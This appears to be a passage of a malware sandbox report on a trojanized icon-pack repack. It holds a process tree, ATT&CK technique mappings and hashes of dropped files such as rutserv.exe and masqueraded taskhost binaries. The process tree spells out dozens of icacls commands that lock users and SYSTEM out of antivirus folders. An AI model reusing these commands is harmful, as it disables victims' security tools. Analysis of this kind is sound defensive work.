        icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:980
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny %username%:(OI)(CI)(F)
      4⤵
      PID:1748
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "c:\program files\Internet Explorer\bin" /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1772
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny %username%:(OI)(CI)(F)
      4⤵
      PID:1856
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Windows\speechstracing /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1272
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)
      4⤵
      PID:1680
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1604
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
      4⤵
      PID:1096
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1972
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny %username%:(F)
      4⤵
      PID:1168
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls c:\programdata\Malwarebytes /deny Admin:(F)
        5⤵
        Modifies file permissions
        
        PID:380
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny System:(F)
      4⤵
      PID:2004
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls c:\programdata\Malwarebytes /deny System:(F)
        5⤵
        Modifies file permissions
        
        PID:1764
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny %username%:(F)
      4⤵
      PID:560
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Programdata\MB3Install /deny Admin:(F)
        5⤵
        Modifies file permissions
        
        PID:1568
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny System:(F)
      4⤵
      PID:1236
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Programdata\MB3Install /deny System:(F)
        5⤵
        Modifies file permissions
        
        PID:964
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny %username%:(OI)(CI)(F)
      4⤵
      PID:1896
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Programdata\Indus /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:872
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
      4⤵
      PID:1268
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1680
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\AdwCleaner /deny %username%:(OI)(CI)(F)
      4⤵
      PID:1152
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\AdwCleaner /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:820
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ByteFence" /deny %username%:(OI)(CI)(F)
      4⤵
      PID:1816
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files\ByteFence" /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1712
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny %username%:(OI)(CI)(F)
      4⤵
      PID:552
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\KVRT_Data /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:432
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
      4⤵
      PID:380
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:516
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\360" /deny %username%:(OI)(CI)(F)
      4⤵
      PID:1680
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\360" /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1268
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\360safe" /deny %username%:(OI)(CI)(F)
      4⤵
      PID:1480
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\ProgramData\360safe" /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1796
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\SpyHunter" /deny %username%:(OI)(CI)(F)
      4⤵
      PID:840
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\SpyHunter" /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1096
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Malwarebytes" /deny %username%:(OI)(CI)(F)
      4⤵
      PID:940
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files\Malwarebytes" /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:460
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\COMODO" /deny %username%:(OI)(CI)(F)
      4⤵
      PID:1136
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files\COMODO" /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1236
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Enigma Software Group" /deny %username%:(OI)(CI)(F)
      4⤵
      PID:1320
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files\Enigma Software Group" /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1756
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\SpyHunter" /deny %username%:(OI)(CI)(F)
      4⤵
      PID:568
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files\SpyHunter" /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1156
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVAST Software" /deny %username%:(OI)(CI)(F)
      4⤵
      PID:1768
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files\AVAST Software" /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:820
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVAST Software" /deny %username%:(OI)(CI)(F)
      4⤵
      PID:1260
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\AVAST Software" /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1444
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\AVAST Software" /deny %username%:(OI)(CI)(F)
      4⤵
      PID:1152
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Programdata\AVAST Software" /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:2012
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVG" /deny %username%:(OI)(CI)(F)
      4⤵
      PID:840
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files\AVG" /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:460
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVG" /deny %username%:(OI)(CI)(F)
      4⤵
      PID:940
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Program Files (x86)\AVG" /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1700
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Norton" /deny %username%:(OI)(CI)(F)
      4⤵
      PID:1708
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\ProgramData\Norton" /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1764
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny %username%:(OI)(CI)(F)
      4⤵
      PID:1580
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Programdata\Kaspersky Lab" /deny Admin:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:768
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
      4⤵
      PID:1364
    - - C:\Windows\SysWOW64\icacls.exe
        
        icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
        5⤵
        Modifies file permissions
        
        PID:1056
- C:\Users\Admin\AppData\Local\Temp\stardock_iconpackager_5.10\Repack.exe
  C:\Users\Admin\AppData\Local\Temp\stardock_iconpackager_5.10\Repack.exe
  2⤵
  PID:796

C:\ProgramData\Windows\rutserv.exe
C:\ProgramData\Windows\rutserv.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1292

C:\Windows\SysWOW64\sc.exe
sc config appidsvc start= auto
1⤵
PID:736

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-11232489401536740187-2110687217978207949628197400-1414867754528139644130986386"
1⤵
PID:272

C:\Windows\system32\taskeng.exe
taskeng.exe {0A6996F7-B6EF-467F-9861-8FD42E1E7481} S-1-5-21-1083475884-596052423-1669053738-1000:WYZSGDWS\Admin:Interactive:[1]
1⤵
- Loads dropped DLL
PID:1348
- C:\Programdata\RealtekHD\taskhost.exe
  C:\Programdata\RealtekHD\taskhost.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:1972
- C:\Programdata\RealtekHD\taskhostw.exe
  C:\Programdata\RealtekHD\taskhostw.exe
  2⤵
  - Executes dropped EXE
  PID:924

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Hidden Files and Directories

T1158

Modify Existing Service

T1031

Scheduled Task

T1053

Winlogon Helper DLL

T1004

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

File and Directory Permissions Modification

T1222

Hidden Files and Directories

T1158

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Intel\P.exe

Filesize
401KB

MD5
80768034f4a195f201b01422f1b6c310

SHA1
9a8f65886dae029d5afa5bd0be50cb620ff5e768

SHA256
cae22eeb4beace20d36d722bd5b5524ab4f20d1d58f1946ec5f9dd7d36ff4d13

SHA512
f0ab8d7f7189bd30e68f24c6c873fe2c918071b31c019c12e1a3ba28326da6dd82041aa51ac1018269a15fa85c973d345d1d28ba84d1a3b4c7092e02f998ea69

Download Submit
C:\ProgramData\Microsoft\Intel\R8.exe

Filesize
887KB

MD5
ad95d98c04a3c080df33ed75ad38870f

SHA1
abbb43f7b7c86d7917d4582e47245a40ca3f33c0

SHA256
40d4931bbb3234a2e399e2e3e0dcfe4b7b05362c58d549569f2888d5b210ebbd

SHA512
964e93aeec90ce5ddaf0f6440afb3ed27523dfcddcdfd4574b62ef32763cb9e167691b33bfc2e7b62a98ff8df2070bf7ae53dafc93a52ed6cbe9c2ca1563c5ed

Download Submit
C:\ProgramData\Microsoft\Intel\taskhost.exe

Filesize
5.7MB

MD5
fa0417708359040a397e75608c46594f

SHA1
59f54427eb9867da23de737456299718e9567a74

SHA256
bdea50cd4bd7a716a5e16ead55a07be92e5d6cd740ee16fc7c9eb2aba0f7bf47

SHA512
1087a7813b5210bbc075b2939c2a49c81891211d8b232cedfafd75d3109c9efda53076878294bec96a24f928f734c2430de0829ac02253802076be7130ee6902

Download Submit
C:\ProgramData\Microsoft\Intel\taskhost.exe

Filesize
5.7MB

MD5
fa0417708359040a397e75608c46594f

SHA1
59f54427eb9867da23de737456299718e9567a74

SHA256
bdea50cd4bd7a716a5e16ead55a07be92e5d6cd740ee16fc7c9eb2aba0f7bf47

SHA512
1087a7813b5210bbc075b2939c2a49c81891211d8b232cedfafd75d3109c9efda53076878294bec96a24f928f734c2430de0829ac02253802076be7130ee6902

Download Submit
C:\ProgramData\Microsoft\Intel\wini.exe

Filesize
3.1MB

MD5
770fff853bc5b785524a5033d56994a9

SHA1
ab29b77554a893ec151093e75cc849bde4c40a44

SHA256
74c957325eeb381da0091487502854be1cd87ce9aefa326c6fc927c11d248f59

SHA512
7de03fa2e38e8e9e7df3e86528c0a187a13c80cacf646c13d0aaef7b4a41b4e729044bd99db31cdfad0e2f2e83dd5c742ab7979d10fab43835bdeaf90f0203fc

Download Submit
C:\ProgramData\Microsoft\Intel\wini.exe

Filesize
3.1MB

MD5
770fff853bc5b785524a5033d56994a9

SHA1
ab29b77554a893ec151093e75cc849bde4c40a44

SHA256
74c957325eeb381da0091487502854be1cd87ce9aefa326c6fc927c11d248f59

SHA512
7de03fa2e38e8e9e7df3e86528c0a187a13c80cacf646c13d0aaef7b4a41b4e729044bd99db31cdfad0e2f2e83dd5c742ab7979d10fab43835bdeaf90f0203fc

Download Submit
C:\ProgramData\Microsoft\rootsystem\1.exe

Filesize
346KB

MD5
622610a2cc797a4a41f5b212aa98bde0

SHA1
bfe47dce0d55df24aa5b6d59c442cf85c618176e

SHA256
7f11dabe46bf0af8973ce849194a587bd0ba1452e165faf028983f85b2b624c2

SHA512
3c6d36666086ffe13a09e4decc4956b0b15888de0ae457dabe29ed7e1195ec145cd1adc61e48fd7dc6eb8f0c94b69d5e2fb04bf75d9e456be0ca11289516381b

Download Submit
C:\ProgramData\Microsoft\rootsystem\Log.txt

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\ProgramData\RealtekHD\taskhost.exe

Filesize
1.7MB

MD5
e561bf827e929c3121f0b9002592bdde

SHA1
c05819883b09c1abf3e3ecef66262a85b6ee032d

SHA256
c565157f345b50acf4763d9e603ce379e1e349e4483ead7635b0fd420eb252fd

SHA512
04675daacf6a336ef698c51dd8788623011675ca113a1321c54b5306c4046eda99e8df920fec8323b5d47361fca5ddf91445a815865ec87fd18e6da8c0ac6470

Download Submit
C:\ProgramData\RealtekHD\taskhostw.exe

Filesize
2.3MB

MD5
335d4e5473fd07df439f38e87938c74b

SHA1
e1b619e6e98ae189edfe8143fc30fc33ccd47b35

SHA256
0f621d83705d5f2a512b3baa881bbb604ec5de03083e2a59a3ae491ea7d3562d

SHA512
ab22c1768ccd9958601b11a12629b246844760d1327255c3a4a02a37f37d49e7f335be6f78346b4ada92ece67fb7b04fb7760153c8730a40c9b635ae488a4dc0

Download Submit
C:\ProgramData\Setup\update.exe

Filesize
12.0MB

MD5
3e42af7f6db601b213d561875d372eef

SHA1
b8ae5b12ecead1b352db98c25517f482af094270

SHA256
ed39bf4f172680c31c5aafc734f5cfe57bc54b8ba39124451e9c83c20d0225a0

SHA512
3c13f392b854fb3e9703c9245a2fadb7585982443e0687def911b47bb0f9cddf942dfb775fb85875a6c1734ad2ecb2925d64366ac860f1a801fa09957709bb7c

Download Submit
C:\ProgramData\Setup\update.exe

Filesize
12.0MB

MD5
3e42af7f6db601b213d561875d372eef

SHA1
b8ae5b12ecead1b352db98c25517f482af094270

SHA256
ed39bf4f172680c31c5aafc734f5cfe57bc54b8ba39124451e9c83c20d0225a0

SHA512
3c13f392b854fb3e9703c9245a2fadb7585982443e0687def911b47bb0f9cddf942dfb775fb85875a6c1734ad2ecb2925d64366ac860f1a801fa09957709bb7c

Download Submit
C:\ProgramData\Windows\install.vbs

Filesize
140B

MD5
5e36713ab310d29f2bdd1c93f2f0cad2

SHA1
7e768cca6bce132e4e9132e8a00a1786e6351178

SHA256
cd8df8b0c43c36aabb0a960e4444b000a04eb513f0b34e12dbfd098944e40931

SHA512
8e5cf90470163143aee75b593e52fcc39e6477cd69a522ee77fa2589ea22b8a3a1c23614d3a677c8017fba0bf4b320a4e47c56a9a7f176dbf51db88d9d8e52c1

Download Submit
C:\ProgramData\Windows\reg1.reg

Filesize
12KB

MD5
4dc0fba4595ad8fe1f010f9079f59dd3

SHA1
b3a54e99afc124c64978d48afca2544d75e69da5

SHA256
b2fd919e2acd61601c3341179a20ce1d0c2074e8907692dc83d55ba6c6b3eb3a

SHA512
fb0855ad6a33a3efc44453f2a5624e0fc87818bf10d13a87d168be3e9c69b7c8dffb39a34193ab134f42b0af527566e74bada71742c09f90ffd60334ba5143b8

Download Submit
C:\ProgramData\Windows\reg2.reg

Filesize
1KB

MD5
6a5d2192b8ad9e96a2736c8b0bdbd06e

SHA1
235a78495192fc33f13af3710d0fe44e86a771c9

SHA256
4ae04a85412ec3daa0fb33f21ed4eb3c4864c3668b95712be9ec36ef7658422a

SHA512
411204a0a1cdbe610830fb0be09fd86c579bb5cccf46e2e74d075a5693fe7924e1e2ba121aa824af66c7521fcc452088b2301321d9d7eb163bee322f2f58640d

Download Submit
C:\ProgramData\Windows\rutserv.exe

Filesize
1.7MB

MD5
37a8802017a212bb7f5255abc7857969

SHA1
cb10c0d343c54538d12db8ed664d0a1fa35b6109

SHA256
1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6

SHA512
4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0

Download Submit
C:\ProgramData\Windows\rutserv.exe

Filesize
1.7MB

MD5
37a8802017a212bb7f5255abc7857969

SHA1
cb10c0d343c54538d12db8ed664d0a1fa35b6109

SHA256
1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6

SHA512
4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0

Download Submit
C:\ProgramData\Windows\rutserv.exe

Filesize
1.7MB

MD5
37a8802017a212bb7f5255abc7857969

SHA1
cb10c0d343c54538d12db8ed664d0a1fa35b6109

SHA256
1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6

SHA512
4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0

Download Submit
C:\ProgramData\Windows\rutserv.exe

Filesize
1.7MB

MD5
37a8802017a212bb7f5255abc7857969

SHA1
cb10c0d343c54538d12db8ed664d0a1fa35b6109

SHA256
1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6

SHA512
4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0

Download Submit
C:\ProgramData\Windows\rutserv.exe

Filesize
1.7MB

MD5
37a8802017a212bb7f5255abc7857969

SHA1
cb10c0d343c54538d12db8ed664d0a1fa35b6109

SHA256
1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6

SHA512
4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0

Download Submit
C:\ProgramData\Windows\vp8decoder.dll

Filesize
155KB

MD5
88318158527985702f61d169434a4940

SHA1
3cc751ba256b5727eb0713aad6f554ff1e7bca57

SHA256
4c04d7968a9fe9d9258968d3a722263334bbf5f8af972f206a71f17fa293aa74

SHA512
5d88562b6c6d2a5b14390512712819238cd838914f7c48a27f017827cb9b825c24ff05a30333427acec93cd836e8f04158b86d17e6ac3dd62c55b2e2ff4e2aff

Download Submit
C:\ProgramData\Windows\vp8encoder.dll

Filesize
593KB

MD5
6298c0af3d1d563834a218a9cc9f54bd

SHA1
0185cd591e454ed072e5a5077b25c612f6849dc9

SHA256
81af82019d9f45a697a8ca1788f2c5c0205af9892efd94879dedf4bc06db4172

SHA512
389d89053689537cdb582c0e8a7951a84549f0c36484db4346c31bdbe7cb93141f6a354069eb13e550297dc8ec35cd6899746e0c16abc876a0fe542cc450fffe

Download Submit
C:\ProgramData\Windows\winit.exe

Filesize
961KB

MD5
408ab35a0ad04043f6d680d9433dfd32

SHA1
56deed84a1e4ce6981f0e99c3f6726c0f27fa0e4

SHA256
d698a05760903f585add7aa1a7034b03038f289efc15bf5aa5e8d4d03b3bb526

SHA512
de11c8633a84480fdb642cb53e32bb55eb47394fbdae5775be06cee6ec77a2170787954f9fda5c10783bf9c4d507ddcc444639a5e7c0e8e8a9d7480395c98ec9

Download Submit
C:\ProgramData\Windows\winit.exe

Filesize
961KB

MD5
408ab35a0ad04043f6d680d9433dfd32

SHA1
56deed84a1e4ce6981f0e99c3f6726c0f27fa0e4

SHA256
d698a05760903f585add7aa1a7034b03038f289efc15bf5aa5e8d4d03b3bb526

SHA512
de11c8633a84480fdb642cb53e32bb55eb47394fbdae5775be06cee6ec77a2170787954f9fda5c10783bf9c4d507ddcc444639a5e7c0e8e8a9d7480395c98ec9

Download Submit
C:\ProgramData\install\cheat.exe

Filesize
6.5MB

MD5
7057a4e52cf8ab993a57acbdb303e265

SHA1
a6306981e4d62916cc6d59a9e4e58846deaeb956

SHA256
e3725851f16bf3b10521b672a061ee766f536feedfdf941cb6ccf5f206af5ca7

SHA512
28d9980c0b676d6e79a31c6c65d5c89774d0885d82aa2f593c10ca7dfb10ab374ba82d4d86c362a82f9110793c0048bfc47ccddde4ae23afc512cff3b278d781

Download Submit
C:\Programdata\Install\del.bat

Filesize
61B

MD5
398a9ce9f398761d4fe45928111a9e18

SHA1
caa84e9626433fec567089a17f9bcca9f8380e62

SHA256
e376f2a9dda89354311b1064ea4559e720739d526ef7da0518ebfd413cd19fc1

SHA512
45255ffea86db71fcfcde1325b54d604a19276b462c8cca92cf5233a630510484a0ecb4d3e9f66733e2127c30c869c23171249cfac3bb39ff4e467830cd4b26b

Download Submit
C:\Programdata\Microsoft\rootsystem\1.exe

Filesize
346KB

MD5
622610a2cc797a4a41f5b212aa98bde0

SHA1
bfe47dce0d55df24aa5b6d59c442cf85c618176e

SHA256
7f11dabe46bf0af8973ce849194a587bd0ba1452e165faf028983f85b2b624c2

SHA512
3c6d36666086ffe13a09e4decc4956b0b15888de0ae457dabe29ed7e1195ec145cd1adc61e48fd7dc6eb8f0c94b69d5e2fb04bf75d9e456be0ca11289516381b

Download Submit
C:\Programdata\Microsoft\rootsystem\P.vbs

Filesize
384B

MD5
7bff6ae169103f2027bc9f07406ce6be

SHA1
732a9b9611092ea716413c9d84ae125e1a3ac80d

SHA256
5ac0b01e8bc76232283737470931e693c95ef785cabca5fdde0d0ae5b3625739

SHA512
da99e3fbb54abaa1db3c0f399d4d44ae15f7ac3616decad5c7894e119c4ec1dc33376f7c818acafa70f18943e865e54cd2d988c80845e9f40ea74882e94dd309

Download Submit
C:\Programdata\RealtekHD\taskhost.exe

Filesize
1.7MB

MD5
e561bf827e929c3121f0b9002592bdde

SHA1
c05819883b09c1abf3e3ecef66262a85b6ee032d

SHA256
c565157f345b50acf4763d9e603ce379e1e349e4483ead7635b0fd420eb252fd

SHA512
04675daacf6a336ef698c51dd8788623011675ca113a1321c54b5306c4046eda99e8df920fec8323b5d47361fca5ddf91445a815865ec87fd18e6da8c0ac6470

Download Submit
C:\Programdata\RealtekHD\taskhostw.exe

Filesize
1.6MB

MD5
c15ef98af883b30df7181715b8e57f90

SHA1
76e8a57fcd5e0bdee4917b80492c6cc548c567c0

SHA256
46a0060bb2672a423814e64770cef1070322336fb8b9ea21a4ffb0d5eb58dbb0

SHA512
063f7978d6553abfbf162bceab9d1cca9b124b1bc13f9a11f6dcbd588db084d39dc70bf1ebb9b4690ec8f715eeb45d60d2aea07de6ff5476c77c98a017763eb1

Download Submit
C:\Programdata\Windows\install.bat

Filesize
418B

MD5
db76c882184e8d2bac56865c8e88f8fd

SHA1
fc6324751da75b665f82a3ad0dcc36bf4b91dfac

SHA256
e3db831cdb021d6221be26a36800844e9af13811bac9e4961ac21671dff9207a

SHA512
da3ca7a3429bb9250cc8b6e33f25b5335a5383d440b16940e4b6e6aca82f2b673d8a01419606746a8171106f31c37bfcdb5c8e33e57fce44c8edb475779aea92

Download Submit
C:\programdata\install\cheat.exe

Filesize
6.5MB

MD5
7057a4e52cf8ab993a57acbdb303e265

SHA1
a6306981e4d62916cc6d59a9e4e58846deaeb956

SHA256
e3725851f16bf3b10521b672a061ee766f536feedfdf941cb6ccf5f206af5ca7

SHA512
28d9980c0b676d6e79a31c6c65d5c89774d0885d82aa2f593c10ca7dfb10ab374ba82d4d86c362a82f9110793c0048bfc47ccddde4ae23afc512cff3b278d781

Download Submit
C:\programdata\microsoft\intel\P.exe

Filesize
401KB

MD5
80768034f4a195f201b01422f1b6c310

SHA1
9a8f65886dae029d5afa5bd0be50cb620ff5e768

SHA256
cae22eeb4beace20d36d722bd5b5524ab4f20d1d58f1946ec5f9dd7d36ff4d13

SHA512
f0ab8d7f7189bd30e68f24c6c873fe2c918071b31c019c12e1a3ba28326da6dd82041aa51ac1018269a15fa85c973d345d1d28ba84d1a3b4c7092e02f998ea69

Download Submit
C:\programdata\microsoft\temp\H.bat

Filesize
5KB

MD5
62d538047d3ed87445df44ea681dfac0

SHA1
7b89c29ce6640349ef5b65d5e8520f2e0e4dd9a8

SHA256
ed966b4e4603d8f1d6f686e01e7c8ed91117b90a2318869d93bafd00ba20cffd

SHA512
0e83e1eb8f4278be52a32fc7b3d28cbff0fe024395e8bc02c2771f3d1bf612136e28671de3f9932bdfdaf1e9d2d2e1b33f1c95ad8bd6b15484cb4723b6a9e918

Download Submit
\ProgramData\Microsoft\Intel\P.exe

Filesize
401KB

MD5
80768034f4a195f201b01422f1b6c310

SHA1
9a8f65886dae029d5afa5bd0be50cb620ff5e768

SHA256
cae22eeb4beace20d36d722bd5b5524ab4f20d1d58f1946ec5f9dd7d36ff4d13

SHA512
f0ab8d7f7189bd30e68f24c6c873fe2c918071b31c019c12e1a3ba28326da6dd82041aa51ac1018269a15fa85c973d345d1d28ba84d1a3b4c7092e02f998ea69

Download Submit
\ProgramData\Microsoft\Intel\taskhost.exe

Filesize
5.7MB

MD5
fa0417708359040a397e75608c46594f

SHA1
59f54427eb9867da23de737456299718e9567a74

SHA256
bdea50cd4bd7a716a5e16ead55a07be92e5d6cd740ee16fc7c9eb2aba0f7bf47

SHA512
1087a7813b5210bbc075b2939c2a49c81891211d8b232cedfafd75d3109c9efda53076878294bec96a24f928f734c2430de0829ac02253802076be7130ee6902

Download Submit
\ProgramData\Microsoft\Intel\taskhost.exe

Filesize
5.7MB

MD5
fa0417708359040a397e75608c46594f

SHA1
59f54427eb9867da23de737456299718e9567a74

SHA256
bdea50cd4bd7a716a5e16ead55a07be92e5d6cd740ee16fc7c9eb2aba0f7bf47

SHA512
1087a7813b5210bbc075b2939c2a49c81891211d8b232cedfafd75d3109c9efda53076878294bec96a24f928f734c2430de0829ac02253802076be7130ee6902

Download Submit
\ProgramData\Microsoft\Intel\taskhost.exe

Filesize
5.7MB

MD5
fa0417708359040a397e75608c46594f

SHA1
59f54427eb9867da23de737456299718e9567a74

SHA256
bdea50cd4bd7a716a5e16ead55a07be92e5d6cd740ee16fc7c9eb2aba0f7bf47

SHA512
